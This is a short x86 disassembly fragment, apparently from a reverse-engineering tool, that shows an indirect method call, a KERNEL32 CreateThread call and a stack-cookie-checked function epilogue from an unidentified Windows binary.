mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 8]
mov ecx, esi
call dword [0x579378]
call esi
push 0x5cf154
push 0
push 0
push 0x500a60
push 0x186a0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00551170
mov esp, ebp
pop ebp
ret